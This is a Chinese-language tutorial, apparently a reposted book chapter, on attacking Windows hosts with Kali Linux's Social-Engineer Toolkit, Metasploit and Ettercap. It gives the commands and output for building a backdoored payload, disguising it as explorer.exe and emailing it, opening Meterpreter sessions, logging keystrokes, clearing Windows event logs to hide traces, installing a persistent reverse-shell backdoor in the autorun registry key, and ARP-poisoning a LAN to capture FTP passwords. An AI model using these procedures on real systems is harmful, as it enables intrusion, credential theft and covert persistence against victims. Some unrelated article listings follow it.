Kali-linux使用社会工程学工具包(SET)

社会工程学工具包(SET)是一个开源的、Python驱动的社会工程学渗透测试工具。这套工具包由David Kenned设计,而且已经成为业界部署实施社会工程学攻击的标准。SET利用人们的好奇心、信任、贪婪及一些愚蠢的错误,攻击人们自身存在的弱点。使用SET可以传递攻击载荷到目标系统,收集目标系统数据,创建持久后门,进行中间人攻击等。本节将介绍社会工程学工具包的使用。

7.3.1 启动社会工程学工具包

使用社会工程学工具包之前,需要启动该工具。具体操作步骤如下所示。

(1)启动SET。在终端执行如下所示的命令:

root@kali:~# setoolkit

或者在桌面上依次选择“应用程序”|Kali Linux|“漏洞利用工具集”|Social Engineering Toolkit|setoolkit命令,将自动打开一个显示setoolkit命令运行的终端。

执行以上命令后,将输出如下所示的信息:

[-] New set_config.py file generated on: 2014-05-06 18:05:41.766123
[-] Verifying configuration update…
[*] Update verified, config timestamp is: 2014-05-06 18:05:41.766123
[*] SET is using the new config, no need to restart
Copyright 2013, The Social-Engineer Toolkit (SET) by TrustedSec, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
  * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
  * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer
   in the documentation and/or other materials provided with the distribution.
  * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived from
   this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well.
Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever
see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author
holds the right to refuse the hug or the beer.
The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are
not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting
yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.
Do you agree to the terms of service [y/n]:

输出的信息详细的介绍了SET。该信息在第一次运行时,才会显示。在该界面接受这部分信息后,才可进行其他操作。此时输入y,将显示如下所示的信息:

以上显示了社会工程学工具包的创建者、版本、代号及菜单信息。此时可以根据自己的需要,选择相应的编号进行操作。

(2)这里选择攻击社会工程学,在菜单中的编号为1,所以在set>后面输入1,将显示如下所示的信息:

set> 1
     Welcome to the Social-Engineer Toolkit (SET).
     The one stop shop for all of your SE needs.
   Join us on irc.freenode.net in channel #setoolkit
  The Social-Engineer Toolkit is a product of TrustedSec.
           Visit: https://www.trustedsec.com
Select from the menu:
  1) Spear-Phishing Attack Vectors
  2) Website Attack Vectors
  3) Infectious Media Generator
  4) Create a Payload and Listener
  5) Mass Mailer Attack
  6) Arduino-Based Attack Vector
  7) SMS Spoofing Attack Vector
  8) Wireless Access Point Attack Vector
  9) QRCode Generator Attack Vector
 10) Powershell Attack Vectors
 11) Third Party Modules
 99) Return back to the main menu.
set>

以上信息显示了攻击社会工程学的菜单选项,这时就可以选择攻击工程学的类型,然后进行攻击。

(3)这里选择创建一个攻击载荷和监听器,输入编号4,如下所示:

输出的信息显示了可生成的所有攻击载荷,此时根据自己的目标系统选择相应的攻击载荷。

(4)本例中攻击的目标系统为Windows XP 32位,所以这里选择编号2。如下所示:

set:payloads> 2
Select one of the below, 'backdoored executable' is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting
in order to get around basic AV detection.
  1) shikata_ga_nai
  2) No Encoding
  3) Multi-Encoder
  4) Backdoored Executable

输出的信息显示了获取基于AV攻击的几种方法。

(5)这里选择第4种,输入编号4,如下所示:

输出的信息显示了设置社会工程学的一个过程,在该过程中将指定的IP地址与端口进行了绑定,并且打开了一个handler。这里将IP地址与端口进行绑定,是因为一个主机上可能存在多个网卡,但是端口号是不变的。这样启动监听器后攻击主机将等待被渗透攻击的系统来连接,并负责处理这些网络连接。

7.3.2 传递攻击载荷给目标系统

攻击载荷(Payload)指的是用户期望目标系统在被渗透攻击之后执行的代码。在Metasploit框架中可以自由地选择、传送和植入。例如,反弹式Shell是一种从目标主机到攻击主机创建网络连接,并提供命令行Shell的攻击载荷,而Bind Shell攻击载荷则在目标系统上将命令行Shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得Shell交互。攻击载荷也可能是简单的在目标系统上执行一些命令,如添加用户账号等。下面将介绍创建攻击载荷给目标系统的方法。

传递攻击载荷给目标系统。具体操作步骤如下所示。

(1)社会工程学工具默认安装在/usr/share/set下,在该目录中有一个EXE文件,名为payload.exe。在渗透测试时为了避免被目标主机用户发现,建议修改该文件名,然后再发送给其他人。发送给其他人的方法很多,如邮件和存储在优盘等。首先切换到/usr/share/set目录中,查看该目录下的文件。执行命令如下所示:

从以上内容中可以看到有一个名为payload.exe的文件。接下来可以修改该文件的名为explorer.exe,然后发送给其他人。

(2)修改payload.exe文件名。执行命令如下所示:

从以上内容可以看到,目前只有一个名为explorer.exe文件。

(3)将该文件传递给其他人。如果使用邮件的形式传递,需要将该文件进行压缩。因为邮件不支持发送EXE文件。可以使用ZIP命令压缩该文件,如下所示:

root@kali:/usr/share/set# zip healthfiles explorer.exe
 adding: explorer.exe (deflated 88%)

从输入内容可以看到,explorer.exe文件被成功压缩。此时,就可以通过邮件的形式发送给其他人。当该内容被目标系统中的用户打开后,将会与攻击者建立一个活跃的会话。如下所示:

msf exploit(handler) >
[*] Sending stage (769024 bytes) to 192.168.41.146
[*] Meterpreter session 1 opened (192.168.41.234:443 -> 192.168.41.146:2126) at 2014-05-06 19:25:43 +0800

看到以上内容,表示目标系统与攻击者成功建立了会话。现在,攻击者就可以在目标系统上做自己想要做的事。

7.3.3 收集目标系统数据

在前面介绍了将攻击载荷传递给目标系统,并成功建立会话。当成功建立会话后,攻击者可以从目标系统中收集其数据。收集目标系统的数据,使用户尽可能使用这些信息做进一步渗透攻击。下面将介绍收集目标系统的数据。收集目标系统数据的具体操作步骤如下所示。

(1)激活Meterpreter会话。执行命令如下所示:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…

(2)开启键盘记录器。执行命令如下所示:

meterpreter > keyscan_start
Starting the keystroke sniffer…

(3)收集目标系统中的数据。执行命令如下所示:

meterpreter > keyscan_dump
Dumping captured keystrokes…
 <Return> <Return> <Return> <N1> <Return> 2 <Return> 34

从输出的信息可以看到,目标系统执行过回车键、输入了数字1、2和34等。

7.3.4 清除踪迹

当攻击者入侵目标系统后,做的任何操作都可能会被记录到目标系统的日志文件中。为了不被目标系统所发现,清除踪迹是非常重要的工作。因为如果被发现,可能带来很大的麻烦。现在用户不用担心这个问题了,因为Metasploit提供了一种方法可以很容易的来清除所有踪迹。下面将介绍使用Metasploit清除踪迹的方法。使用Metasploit清除踪迹的具体操作步骤如下所示。

(1)激活Meterpreter会话。执行命令如下所示:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…

(2)在Metasploit中的irb命令可以清除踪迹。执行命令如下所示:

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>

输出的信息中看到>>提示符,表示成功运行了irb命令。

(3)设置想要删除的日志。常用的日志选项如下所示:

  • log = client.sys.eventlog.open('system');
  • log = client.sys.eventlog.open('security');
  • log = client.sys.eventlog.open('application');
  • log = client.sys.eventlog.open('directory service');
  • log = client.sys.eventlog.open('dns server');
  • log = client.sys.eventlog.open('file replication service')。

这里清除所有日志。执行命令如下所示:

>> log = client.sys.eventlog.open('system')
>> log = client.sys.eventlog.open('security')
>> log = client.sys.eventlog.open('application')
>> log = client.sys.eventlog.open('directory service')
>> log = client.sys.eventlog.open('dns server')
>> log = client.sys.eventlog.open('file replication service')

执行以上命令后,表示指定了要清除的日志。接下来需要执行log.clear命令才可以清除日志文件。执行命令如下所示:

>> log.clear

执行以上命令后,将会隐藏用户的踪迹。

7.3.5 创建持久后门

当成功获取目标系统的访问权限后,需要寻找方法来恢复与目标主机的连接,而无需再进入目标系统。如果目标用户破坏了该连接,例如重新启动计算机,此时使用后门将允许自动重新与目标系统建立连接。为了后续渗透方便,所以需要创建一个后门。这样,即使连接被中断,也不会影响工作。下面将介绍创建持久后门。创建持久后门的具体操作步骤如下所示。

(1)激活Meterpreter会话。执行命令如下所示:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >

(2)创建持久后门之前,先查看下它的帮助文件。执行命令如下所示:

以上信息显示了持久后门的一些选项。使用不同的选项,来设置后门。

(3)创建一个持久后门。执行命令如下所示:

meterpreter > run persistence -U -A -i 10 - 8090 -r 192.168.41.234
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/
AA-886OKJM26FSW_20140507.2857/AA-886OKJM26FSW_20140507.2857.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.41.234 LPORT=4444
[*] Persistent agent script is 148405 bytes long
[+] Persistent Script written to C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs
[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Executing script C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs
[+] Agent executed with PID 1612
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\mERugsIe
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\mERugsIe

输出的信息显示了创建后门的一个过程。在以上信息中可以看到,在目标系统中创建了一个持久脚本,保存在C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs。并且,该脚本会自动在目标主机上运行,此时将会建立第二个Meterpreter会话。如下所示:

meterpreter > [*] Meterpreter session 2 opened (192.168.41.234:443 -> 192.168.41.146:1032) at 2014-05-07 16:25:47 +0800

看到以上的输出信息,表示该持久后门已创建成功。

7.3.6 中间人攻击(MITM)

中间人攻击(Man in the Middle Attack,简称“MITM攻击”)是一种间接的入侵攻击。这种攻击模式是通过各种技术手段,将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。下面将介绍使用Ettercap工具实现中间人攻击。

1. 存在的漏洞

前面介绍了中间人攻击是通过使用各种技术手段对目标主机进行攻击的。主机既然被攻击,则说明在传输数据的过程中存在有漏洞。接下来就分析一下所存在的漏洞。

当主机之间进行通信时,通过封装数据包进而转发到目标主机上。转发的数据包中包括源IP地址、目标IP地址及MAC地址。但是当主机在自己的缓存表中找不到目标主机的地址时,它会发送ARP广播,在此过程中就可能被其他攻击者冒充目标主机。

2. ARP欺骗原理

实施中间人攻击时,攻击者常考虑的方式是ARP欺骗或DNS欺骗等。下面以常见ARP欺骗为例,分别介绍一下ARP欺骗原理。

一般情况下,ARP欺骗并不是使网络无法正常通信,而是通过冒充网关或其他主机使得到达网关或主机的数据流通过攻击主机进行转发。通过转发流量可以对流量进行控制和查看,从而控制流量或得到机密信息。ARP欺骗主机的流程如图7.2所示。

如图7.2所示,当主机A和主机B之间通信时,如果主机A在自己的ARP缓存表中没有找到主机B的MAC地址时,主机A将会向整个局域网中所有计算机发送ARP广播,广播后整个局域网中的计算机都收到了该数据。这时候,主机C响应主机A,说我是主机B,我的MAC地址是XX-XX-XX-XX-XX-XX,主机A收到地址后就会重新更新自己的缓冲表。当主机A再次与主机B通信时,该数据将被转发到攻击主机(主机C)上,则该数据流会经过主机C转发到主机B。

图7.2 ARP欺骗主机

3. 中间人攻击

实现中间人攻击分为两个阶段。第一是通过某种手段去攻击一台计算机;第二是欺骗主机。这两个阶段工作工程如图7.3和图7.4所示。

第一阶段:

 

图7.3 ARP注入攻击

在该阶段主机B通过ARP注入攻击的方法以实现ARP欺骗,通过ARP欺骗的方法控制主机A与其他主机间的流量及机密信息。

第二阶段:

在第一个阶段攻击成功后,主机B就可以在这个网络中使用中间人的身份,转发或查看主机A和其他主机间的数据流,如图7.4所示。

图7.4 中间人攻击机制

(1)在这个局域网中当主机A向主机C发送请求,此时该数据将被发送到主机B上。

(2)主机A发送给主机C的数据流将会经主机B转发到主机C上。

(3)主机C收到数据以为是主机A直接发送的。此时主机C将响应主机A的请求,同样的该数据流将会被主机B转发到主机A上。

(4)主机A收到响应后,将登录主机C。这样主机A登录时的用户名及密码,将会被主机B查看到。

使用Ettercap工具实现中间人攻击。具体操作步骤如下所示。

(1)启动Ettercap工具。执行命令如下所示:

root@kali:~# ettercap -G

执行以上命令后,将显示如图7.5所示的界面。

图7.5 Ettercap启动界面

(2)该界面是Ettercap工具的初始界面。接下来通过抓包的方法实现中间人攻击。在菜单栏中依次选择Sniff|Unified sniffing命令或按下Shift+U组合键,将显示如图7.6所示的界面。

图7.6 启动嗅探

(3)在该界面单击Unified sniffing命令后,将显示如图7.7所示的界面。

图7.7 选择接口

(4)在该界面选择网络接口。这里选择eth0,然后单击“确定”按钮,将显示如图7.8所示的界面。

图7.8 启动接口界面

(5)启动接口后,就可以扫描所有的主机了。在菜单栏中依次选择Hosts|Scan for hosts命令或按下Ctrl+S组合键,如图7.9所示。

图7.9 启动扫描主机

(6)在该界面单击Scan for hosts命令后,将显示如图7.10所示的界面。

图7.10 扫描主机界面

(7)从该界面输出的信息可以看到共扫描到五台主机。如果要查看扫描到主机的信息,在菜单栏中依次选择Hosts|Hosts list命令或按下H键,如图7.11所示。

图7.11 打开主机列表

(8)在该界面单击Hosts list命令后,将显示如图7.12所示的界面。

图7.12 扫描到的所有主机

(9)该界面显示了扫描到的五台主机的IP地址和MAC地址。在该界面选择其中一台主机,作为目标系统。这里选择192.168.41.151主机,然后单击Add to Target 1按钮。添加目标系统后开始嗅探数据包,在菜单栏中依次选择Start|Start sniffing命令或按下Ctrl+W组合键,如图7.13所示。

图7.13 开始扫描

(10)启动嗅探后,通过使用ARP注入攻击的方法获取到目标系统的重要信息。启动ARP注入攻击,在菜单栏中依次选择Mitm|Arp poisonig…命令,如图7.14所示。

图7.14 Arp注入攻击图

(11)单击Arp poisonig命令后,将显示如图7.15所示的界面。在该界面选择攻击的选项,这里选择Sniff remote connections。然后单击“确定”按钮,将显示如图7.16所示的界面。

图7.15 攻击选项

图7.16 攻击界面

(12)此时,当某个用户登录192.168.41.151主机时,它的敏感信息将会被传递给攻击者。本例中捕获到的敏感信息如图7.17所示。

图7.17 捕获到的敏感信息

(13)从该界面可以看到,有用户登录192.168.41.151主机的FTP服务器了。其用户名为anonymous,密码为123456。获取这些信息后停止嗅探,在菜单栏中依次单击Start|Stop sniffing命令,如图7.18所示。

图7.18 停止嗅探

(14)停止嗅探后,还需要停止中间人攻击。在菜单栏中依次单击Mitm|Stop mitm attack(s)命令,将显示如图7.19所示的界面。

图7.19 停止中间人攻击

(15)在该界面单击“确定”按钮,这样就成功的完成了中间人攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/21884.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

HNU-计算机系统-Challenge

Challenge 计科210X wolf 202108010XXX 本题是从属于第七次讨论课的个人题,听说做了有加分?我来试试。 下面是相关报告。 题目: C 语言的初学者第一个编写的 C 代码一般是如下所示的“ #include <stdio.h> int main() {printf("Hello, World!");

项目管理:有效的沟通对项目的成功至关重要

为实施有效的沟通&#xff0c;需要建立沟通管理计划同时理解什么是沟通&#xff0c;沟通的对象是谁&#xff0c;沟通的目标是什么&#xff0c;难度在哪里&#xff0c;并选择合适的沟通方式。 项目沟通是确保项目团队的相关信息能及时、正确地产生、收集、发布、储存和最终处理…

Java多线程异常处理

文章目录 一. 线程中出现异常的处理1. 线程出现异常的默认行为2. setUncaoughtExceptionHandler()方法处理异常3. setDefaultUncaoughtExceptionHandler()方法进行异常处理 二. 线程组内出现异常 一. 线程中出现异常的处理 1. 线程出现异常的默认行为 当单线程中初出现异常时…

LOTO示波器如何测试阻抗的频响曲线

LOTO示波器如何测试阻抗的频响曲线 模块的输入输出端口&#xff0c;在电路分析上&#xff0c;一般简单表征为电阻来进行计算和分析。但多数情况下&#xff0c;这些端口并不是纯电阻的特性&#xff0c;更精确一些&#xff0c;它可能是电阻电容以及电感的组合&#xff0c;表现为非…

ChatGPT 聊天接口API 使用

一、准备工作 1.准备 OPENAI_ACCESS_TOKEN 2.准备好PostMan 软件 二、测试交流Demo 本次使用POSTMAN工具进行快速测试&#xff0c;旨在通过ChatGPT API实现有效的上下文流。在测试过程中&#xff0c;我们发现了三个问题&#xff1a;    1.如果您想要进行具有上下文的交流&…

从供应链协同角度挖掘数字化应用场景

企业在数字化转型的过程中&#xff0c;供应链的数字化转型是绕不开的话题。供应链的数字化转型&#xff0c;是借助数字化技术赋能企业和供应链从业人员&#xff0c;驱动业务向更加高效智能的方向发展。越来越多的企业意识到需要依靠新技术&#xff0c;也往往非常强调新技术的应…

为什么我们应该选择Renderbus瑞云渲染进行 EEVEE 渲染?

在某些情况下&#xff0c;用户需要高精度、快速的渲染&#xff0c;而 EEVEE的诞生就是为了满足这种需求。Eevee&#xff08;Extra Easy Virtual Environment Engine&#xff09;是 Blender 最新的内部渲染引擎&#xff0c;由用于 Epic Games 开发的虚幻引擎的相同代码提供支持…

openldap介绍以及使用

参考文献&#xff1a;openldap介绍和使用 基本概念 官网&#xff1a;https://www.openldap.org 官方文档&#xff1a;https://www.openldap.org/doc LDAP是一个开放的&#xff0c;中立的&#xff0c;工业标准的应用协议&#xff0c;通过IP协议提供访问控制和维护分布式信息的…

【Linux】进程信号“疑问?坤叫算信号吗?“

鸡叫当然也算信号啦~ 文章目录 前言一、认识信号量二、信号的产生 1.调用系统函数向进程发信号2.由软件条件产生信号3.硬件异常产生信号总结 前言 信号在我们生活中很常见&#xff0c;下面我们举一举生活中信号的例子&#xff1a; 你在网上买了很多件商品&#xff0c;再等待不…

统计一个数的二进制中1的个数(三种方法)

那么好了好了&#xff0c;宝子们&#xff0c;今天给大家分享一篇经典例题的三种实现方法&#xff0c;来吧&#xff0c;开始整活&#xff01;⛳️ 一、基础法 #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> int number_of_one(int n) {int count 0;while(n){if…

VTKmimics Calculate Parts

前言&#xff1a;本博文主要研究mimics中Calculate Parts所采用的方法以及VTK中三维重建的方法&#xff0c;希望对各位小伙伴有所帮助&#xff0c;谢谢&#xff01; mimics-Calculate parts - Interpolation Gray Interpolation 灰度值插值是一种真正的3D插值&#xff0c;它考…

宝塔面板快速搭建贪吃蛇小游戏web网站 - 无需云服务器,网站发布上线

文章目录 前言视频教程1. 环境安装2. 安装cpolar内网穿透3. 内网穿透4. 固定http地址5. 配置二级子域名6. 创建一个测试页面&#x1f34e;总结 转载自远程内网穿透的文章&#xff1a;Linux使用宝塔面板搭建网站&#xff0c;并内网穿透实现公网访问 前言 宝塔面板作为简单好用的…

RoyalScope-总线工作状况和信号质量“体检”

海量存储、洞悉细微 无间断连续采样、波形和报文记录 内置100MHz示波器&#xff0c;采样率高达100MS/s&#xff0c;精确查看、分析和统计信号波形细节。 无间断连续采样总线上信号&#xff0c;全部无遗漏的解析成报文(包括数据帧、遥控帧、过载帧、错误帧、帧间隔和错误报文)和…

Vue3-黑马(十四)

目录&#xff1a; &#xff08;1&#xff09;vue3-进阶-router-令牌-前端路由 &#xff08;2&#xff09;vue3-进阶-router-令牌-前端路由 &#xff08;3&#xff09;vue3-进阶-pinia1 &#xff08;4&#xff09;vue3-进阶-pinia2 &#xff08;1&#xff09;vue3-进阶-rout…

ARM学习笔记_2 模式,寄存器,流水线

ARM arm体积小功耗低性能高&#xff0c;支持thumb ARM双指令集&#xff0c;兼容8/16位器件&#xff1b;大量使用寄存器&#xff0c;指令定长&#xff0c;寻址简单。 ARM是32位架构&#xff0c;Word 32bit&#xff0c; half Word 16bit. 模式 用户模式是用户程序的模式&#…

GPT-2(Transformer Decoder)的TensorFlow实现(附源码)

文章目录 一、GPT2实现步骤二、源码 一、GPT2实现步骤 机器学习模型的开发实现步骤一般都包含以下几个部分&#xff1a;   1. 遵照模型的网络架构&#xff0c;实现每一层&#xff08;Layer/Block&#xff09;的函数&#xff1b;   2. 将第1步中的函数组合在一起&#xff0c…

Typecho搭建和美化

概述 Typecho是一款轻量级的开源PHP博客系统&#xff0c;它简单易用&#xff0c;界面整洁&#xff0c;性能高效&#xff0c;主题、插件众多。我使用的是腾讯云轻量服务器&#xff0c;Typecho的应用模版&#xff0c;一键安装环境。构建自己的博客网站&#xff0c;记录生活、分享…

容器简单介绍

目录 一、容器简介​编辑 二、容器和虚拟化技术差异 三、容器基本概念 四、容器技术对企业优势 五、容器的工具 一、容器简介 docker只是容器工具&#xff0c;真正容器技术是LXC &#xff08;linux container&#xff09; 二、容器和虚拟化技术差异 虚拟机模式&#xff…

AI人工智能逻辑回归的原理、优缺点、应用场景和实现方法

逻辑回归&#xff08;Logistic Regression&#xff09;是一种常见的机器学习算法&#xff0c;它被广泛应用于分类问题。在人工智能&#xff08;Artificial Intelligence&#xff0c;简称AI&#xff09;领域中&#xff0c;逻辑回归是一种简单而有效的算法&#xff0c;可以用于许…

vue+elementui+nodejs高校校园在线打印预约系统

在线提交文档进行打印 首页简单介绍系统 语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode 顶部或主页按钮转到打印 用户可以登录 查看历史打印记录 用户分学生和非学生 学生可以享有优惠…